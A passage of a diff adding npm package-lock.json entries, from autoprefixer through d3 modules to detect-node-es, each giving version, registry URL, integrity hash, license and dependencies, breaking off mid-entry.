"https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/autoprefixer" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "browserslist": "^4.28.1", + "caniuse-lite": "^1.0.30001766", + "fraction.js": "^5.3.4", + "picocolors": "^1.1.1", + "postcss-value-parser": "^4.2.0" + }, + "bin": { + "autoprefixer": "bin/autoprefixer" + }, + "engines": { + "node": "^10 || ^12 || >=14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/axios": { + "version": "1.18.1", + "resolved": "https://registry.npmjs.org/axios/-/axios-1.18.1.tgz", + "integrity": "sha512-3nTvFlvpn9Zu/RkHUqtc7/+al4UpRW5az71ap5zccp6e8RAYEzhMTecX8Dz1wWDYrPpUoB1HAQEGEAEvUr7S9g==", + "license": "MIT", + "dependencies": { + "follow-redirects": "^1.16.0", + "form-data": "^4.0.5", + "https-proxy-agent": "^5.0.1", + "proxy-from-env": "^2.1.0" + } + }, + "node_modules/axios/node_modules/agent-base": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz", + "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==", + "license": "MIT", + "dependencies": { + "debug": "4" + }, + "engines": { + "node": ">= 6.0.0" + } + }, + "node_modules/axios/node_modules/https-proxy-agent": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz", + "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==", + "license": "MIT", + "dependencies": { + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true, + "license": "MIT" + }, + "node_modules/baseline-browser-mapping": { + "version": "2.9.19", + "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.9.19.tgz", + "integrity": "sha512-ipDqC8FrAl/76p2SSWKSI+H9tFwm7vYqXQrItCuiVPt26Km0jS+NzSsBWAaBusvSbQcfJG+JitdMm+wZAgTYqg==", + "dev": true, + "license": "Apache-2.0", + "bin": { + "baseline-browser-mapping": "dist/cli.js" + } + }, + "node_modules/binary-extensions": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.3.0.tgz", + "integrity": "sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/brace-expansion": { + "version": "1.1.14", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.14.tgz", + "integrity": "sha512-MWPGfDxnyzKU7rNOW9SP/c50vi3xrmrua/+6hfPbCS2ABNWfx24vPidzvC7krjU/RTo235sV776ymlsMtGKj8g==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/braces": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz", + "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==", + "dev": true, + "license": "MIT", + "dependencies": { + "fill-range": "^7.1.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/browserslist": { + "version": "4.28.1", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.28.1.tgz", + "integrity": "sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "baseline-browser-mapping": "^2.9.0", + "caniuse-lite": "^1.0.30001759", + "electron-to-chromium": "^1.5.263", + "node-releases": "^2.0.27", + "update-browserslist-db": "^1.2.0" + }, + "bin": { + "browserslist": "cli.js" + }, + "engines": { + "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" + } + }, + "node_modules/call-bind-apply-helpers": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", + "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/callsites": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", + "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/camelcase-css": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/camelcase-css/-/camelcase-css-2.0.1.tgz", + "integrity": "sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 6" + } + }, + "node_modules/caniuse-lite": { + "version": "1.0.30001770", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001770.tgz", + "integrity": "sha512-x/2CLQ1jHENRbHg5PSId2sXq1CIO1CISvwWAj027ltMVG2UNgW+w9oH2+HzgEIRFembL8bUlXtfbBHR1fCg2xw==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/caniuse-lite" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "CC-BY-4.0" + }, + "node_modules/chai": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/chai/-/chai-6.2.2.tgz", + "integrity": "sha512-NUPRluOfOiTKBKvWPtSD4PhFvWCqOi0BGStNWs57X9js7XGTprSmFoz5F0tWhR4WPjNeR9jXqdC7/UpSJTnlRg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/change-case": { + "version": "5.4.4", + "resolved": "https://registry.npmjs.org/change-case/-/change-case-5.4.4.tgz", + "integrity": "sha512-HRQyTk2/YPEkt9TnUPbOpr64Uw3KOicFWPVBb+xiHvd6eBx/qPr9xqfBFDT8P2vWsvvz4jbEkfDe71W3VyNu2w==", + "dev": true, + "license": "MIT" + }, + "node_modules/chokidar": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.6.0.tgz", + "integrity": "sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==", + "dev": true, + "license": "MIT", + "dependencies": { + "anymatch": "~3.1.2", + "braces": "~3.0.2", + "glob-parent": "~5.1.2", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.6.0" + }, + "engines": { + "node": ">= 8.10.0" + }, + "funding": { + "url": "https://paulmillr.com/funding/" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + } + }, + "node_modules/chokidar/node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "license": "ISC", + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/class-variance-authority": { + "version": "0.7.1", + "resolved": "https://registry.npmjs.org/class-variance-authority/-/class-variance-authority-0.7.1.tgz", + "integrity": "sha512-Ka+9Trutv7G8M6WT6SeiRWz792K5qEqIGEGzXKhAE6xOWAY6pPH8U+9IY3oCMv6kqTmLsv7Xh/2w2RigkePMsg==", + "license": "Apache-2.0", + "dependencies": { + "clsx": "^2.1.1" + }, + "funding": { + "url": "https://polar.sh/cva" + } + }, + "node_modules/classcat": { + "version": "5.0.5", + "resolved": "https://registry.npmjs.org/classcat/-/classcat-5.0.5.tgz", + "integrity": "sha512-JhZUT7JFcQy/EzW605k/ktHtncoo9vnyW/2GspNYwFlN1C/WmjuV/xtS04e9SOkL2sTdw0VAZ2UGCcQ9lR6p6w==", + "license": "MIT" + }, + "node_modules/cli-width": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-4.1.0.tgz", + "integrity": "sha512-ouuZd4/dm2Sw5Gmqy6bGyNNNe1qt9RpmxveLSO7KcgsTnU7RXfsw+/bukWGo1abgBiMAic068rclZsO4IWmmxQ==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">= 12" + } + }, + "node_modules/cliui": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz", + "integrity": "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==", + "dev": true, + "license": "ISC", + "dependencies": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.1", + "wrap-ansi": "^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/cliui/node_modules/wrap-ansi": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/clsx": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/clsx/-/clsx-2.1.1.tgz", + "integrity": "sha512-eYm0QWBtUrBWZWG0d386OGAw16Z995PiOVo2B7bjWSbHedGl5e0ZWaq65kOGgUSNesEIDkB9ISbTg/JK9dhCZA==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/cmdk": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/cmdk/-/cmdk-1.1.1.tgz", + "integrity": "sha512-Vsv7kFaXm+ptHDMZ7izaRsP70GgrW9NBNGswt9OZaVBLlE0SNpDq8eu/VGXyF9r7M0azK3Wy7OlYXsuyYLFzHg==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-compose-refs": "^1.1.1", + "@radix-ui/react-dialog": "^1.1.6", + "@radix-ui/react-id": "^1.1.0", + "@radix-ui/react-primitive": "^2.0.2" + }, + "peerDependencies": { + "react": "^18 || ^19 || ^19.0.0-rc", + "react-dom": "^18 || ^19 || ^19.0.0-rc" + } + }, + "node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true, + "license": "MIT" + }, + "node_modules/colorette": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/colorette/-/colorette-1.4.0.tgz", + "integrity": "sha512-Y2oEozpomLn7Q3HFP7dpww7AtMJplbM9lGZP6RDfHqmbeRjiwRg4n6VM6j4KLmRke85uWEI7JqF17f3pqdRA0g==", + "dev": true, + "license": "MIT" + }, + "node_modules/combined-stream": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "license": "MIT", + "dependencies": { + "delayed-stream": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/commander": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz", + "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 6" + } + }, + "node_modules/concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", + "dev": true, + "license": "MIT" + }, + "node_modules/convert-source-map": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", + "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==", + "dev": true, + "license": "MIT" + }, + "node_modules/cookie": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-1.1.1.tgz", + "integrity": "sha512-ei8Aos7ja0weRpFzJnEA9UHJ/7XQmqglbRwnf2ATjcB9Wq874VKH9kfjjirM6UhU2/E5fFYadylyhFldcqSidQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/cross-spawn": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", + "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", + "dev": true, + "license": "MIT", + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/css.escape": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/css.escape/-/css.escape-1.5.1.tgz", + "integrity": "sha512-YUifsXXuknHlUsmlgyY0PKzgPOr7/FjCePfHNt0jxm83wHZi44VDMQ7/fGNkjY3/jV1MC+1CmZbaHzugyeRtpg==", + "dev": true, + "license": "MIT" + }, + "node_modules/cssesc": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz", + "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==", + "dev": true, + "license": "MIT", + "bin": { + "cssesc": "bin/cssesc" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/cssstyle": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-4.6.0.tgz", + "integrity": "sha512-2z+rWdzbbSZv6/rhtvzvqeZQHrBaqgogqt85sqFNbabZOuFbCVFb8kPeEtZjiKkbrm395irpNKiYeFeLiQnFPg==", + "dev": true, + "dependencies": { + "@asamuzakjp/css-color": "^3.2.0", + "rrweb-cssom": "^0.8.0" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/cssstyle/node_modules/rrweb-cssom": { + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/rrweb-cssom/-/rrweb-cssom-0.8.0.tgz", + "integrity": "sha512-guoltQEx+9aMf2gDZ0s62EcV8lsXR+0w8915TC3ITdn2YueuNjdAYh/levpU9nFaoChh9RUS5ZdQMrKfVEN9tw==", + "dev": true + }, + "node_modules/csstype": { + "version": "3.2.3", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz", + "integrity": "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==", + "license": "MIT" + }, + "node_modules/d3-array": { + "version": "3.2.4", + "resolved": "https://registry.npmjs.org/d3-array/-/d3-array-3.2.4.tgz", + "integrity": "sha512-tdQAmyA18i4J7wprpYq8ClcxZy3SC31QMeByyCFyRt7BVHdREQZ5lpzoe5mFEYZUWe+oq8HBvk9JjpibyEV4Jg==", + "license": "ISC", + "dependencies": { + "internmap": "1 - 2" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-color": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-color/-/d3-color-3.1.0.tgz", + "integrity": "sha512-zg/chbXyeBtMQ1LbD/WSoW2DpC3I0mpmPdW+ynRTj/x2DAWYrIY7qeZIHidozwV24m4iavr15lNwIwLxRmOxhA==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-dispatch": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-dispatch/-/d3-dispatch-3.0.1.tgz", + "integrity": "sha512-rzUyPU/S7rwUflMyLc1ETDeBj0NRuHKKAcvukozwhshr6g6c5d8zh4c2gQjY2bZ0dXeGLWc1PF174P2tVvKhfg==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-drag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/d3-drag/-/d3-drag-3.0.0.tgz", + "integrity": "sha512-pWbUJLdETVA8lQNJecMxoXfH6x+mO2UQo8rSmZ+QqxcbyA3hfeprFgIT//HW2nlHChWeIIMwS2Fq+gEARkhTkg==", + "license": "ISC", + "dependencies": { + "d3-dispatch": "1 - 3", + "d3-selection": "3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-ease": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-ease/-/d3-ease-3.0.1.tgz", + "integrity": "sha512-wR/XK3D3XcLIZwpbvQwQ5fK+8Ykds1ip7A2Txe0yxncXSdq1L9skcG7blcedkOX+ZcgxGAmLX1FrRGbADwzi0w==", + "license": "BSD-3-Clause", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-format": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-3.1.2.tgz", + "integrity": "sha512-AJDdYOdnyRDV5b6ArilzCPPwc1ejkHcoyFarqlPqT7zRYjhavcT3uSrqcMvsgh2CgoPbK3RCwyHaVyxYcP2Arg==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-interpolate": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-interpolate/-/d3-interpolate-3.0.1.tgz", + "integrity": "sha512-3bYs1rOD33uo8aqJfKP3JWPAibgw8Zm2+L9vBKEHJ2Rg+viTR7o5Mmv5mZcieN+FRYaAOWX5SJATX6k1PWz72g==", + "license": "ISC", + "dependencies": { + "d3-color": "1 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-path": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-path/-/d3-path-3.1.0.tgz", + "integrity": "sha512-p3KP5HCf/bvjBSSKuXid6Zqijx7wIfNW+J/maPs+iwR35at5JCbLUT0LzF1cnjbCHWhqzQTIN2Jpe8pRebIEFQ==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-scale": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/d3-scale/-/d3-scale-4.0.2.tgz", + "integrity": "sha512-GZW464g1SH7ag3Y7hXjf8RoUuAFIqklOAq3MRl4OaWabTFJY9PN/E1YklhXLh+OQ3fM9yS2nOkCoS+WLZ6kvxQ==", + "license": "ISC", + "dependencies": { + "d3-array": "2.10.0 - 3", + "d3-format": "1 - 3", + "d3-interpolate": "1.2.0 - 3", + "d3-time": "2.1.1 - 3", + "d3-time-format": "2 - 4" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-selection": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/d3-selection/-/d3-selection-3.0.0.tgz", + "integrity": "sha512-fmTRWbNMmsmWq6xJV8D19U/gw/bwrHfNXxrIN+HfZgnzqTHp9jOmKMhsTUjXOJnZOdZY9Q28y4yebKzqDKlxlQ==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-shape": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/d3-shape/-/d3-shape-3.2.0.tgz", + "integrity": "sha512-SaLBuwGm3MOViRq2ABk3eLoxwZELpH6zhl3FbAoJ7Vm1gofKx6El1Ib5z23NUEhF9AsGl7y+dzLe5Cw2AArGTA==", + "license": "ISC", + "dependencies": { + "d3-path": "^3.1.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-time": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-time/-/d3-time-3.1.0.tgz", + "integrity": "sha512-VqKjzBLejbSMT4IgbmVgDjpkYrNWUYJnbCGo874u7MMKIWsILRX+OpX/gTk8MqjpT1A/c6HY2dCA77ZN0lkQ2Q==", + "license": "ISC", + "dependencies": { + "d3-array": "2 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-time-format": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/d3-time-format/-/d3-time-format-4.1.0.tgz", + "integrity": "sha512-dJxPBlzC7NugB2PDLwo9Q8JiTR3M3e4/XANkreKSUxF8vvXKqm1Yfq4Q5dl8budlunRVlUUaDUgFt7eA8D6NLg==", + "license": "ISC", + "dependencies": { + "d3-time": "1 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-timer": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-timer/-/d3-timer-3.0.1.tgz", + "integrity": "sha512-ndfJ/JxxMd3nw31uyKoY2naivF+r29V+Lc0svZxe1JvvIRmi8hUsrMvdOwgS1o6uBHmiz91geQ0ylPP0aj1VUA==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-transition": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-transition/-/d3-transition-3.0.1.tgz", + "integrity": "sha512-ApKvfjsSR6tg06xrL434C0WydLr7JewBB3V+/39RMHsaXTOG0zmt/OAXeng5M5LBm0ojmxJrpomQVZ1aPvBL4w==", + "license": "ISC", + "dependencies": { + "d3-color": "1 - 3", + "d3-dispatch": "1 - 3", + "d3-ease": "1 - 3", + "d3-interpolate": "1 - 3", + "d3-timer": "1 - 3" + }, + "engines": { + "node": ">=12" + }, + "peerDependencies": { + "d3-selection": "2 - 3" + } + }, + "node_modules/d3-zoom": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/d3-zoom/-/d3-zoom-3.0.0.tgz", + "integrity": "sha512-b8AmV3kfQaqWAuacbPuNbL6vahnOJflOhexLzMMNLga62+/nh0JzvJ0aO/5a5MVgUFGS7Hu1P9P03o3fJkDCyw==", + "license": "ISC", + "dependencies": { + "d3-dispatch": "1 - 3", + "d3-drag": "2 - 3", + "d3-interpolate": "1 - 3", + "d3-selection": "2 - 3", + "d3-transition": "2 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/data-urls": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-5.0.0.tgz", + "integrity": "sha512-ZYP5VBHshaDAiVZxjbRVcFJpc+4xGgT0bK3vzy1HLN8jTO975HEbuYzZJcHoQEY5K1a0z8YayJkyVETa08eNTg==", + "dev": true, + "dependencies": { + "whatwg-mimetype": "^4.0.0", + "whatwg-url": "^14.0.0" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/debug": { + "version": "4.4.3", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", + "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", + "license": "MIT", + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/decimal.js": { + "version": "10.6.0", + "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.6.0.tgz", + "integrity": "sha512-YpgQiITW3JXGntzdUmyUR1V812Hn8T1YVXhCu+wO3OpS4eU9l4YdD3qjyiKdV6mvV29zapkMeD390UVEf2lkUg==", + "dev": true, + "license": "MIT" + }, + "node_modules/decimal.js-light": { + "version": "2.5.1", + "resolved": "https://registry.npmjs.org/decimal.js-light/-/decimal.js-light-2.5.1.tgz", + "integrity": "sha512-qIMFpTMZmny+MMIitAB6D7iVPEorVw6YQRWkvarTkT4tBeSLLiHzcwj6q0MmYSFCiVpiqPJTJEYIrpcPzVEIvg==", + "license": "MIT" + }, + "node_modules/deep-diff": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/deep-diff/-/deep-diff-1.0.2.tgz", + "integrity": "sha512-aWS3UIVH+NPGCD1kki+DCU9Dua032iSsO43LqQpcs4R3+dVv7tX0qBGjiVHJHjplsoUM2XRO/KB92glqc68awg==", + "deprecated": "Package no longer supported. Contact Support at https://www.npmjs.com/support for more info.", + "license": "MIT" + }, + "node_modules/deep-is": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz", + "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/deepmerge": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.3.1.tgz", + "integrity": "sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "license": "MIT", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/dequal": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/dequal/-/dequal-2.0.3.tgz", + "integrity": "sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/detect-libc": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz", + "integrity": "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=8" + } + }, + "node_modules/detect-node-es": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/detect-node-es/-/detect-node-es-1.1.0.tgz", + "integrity": 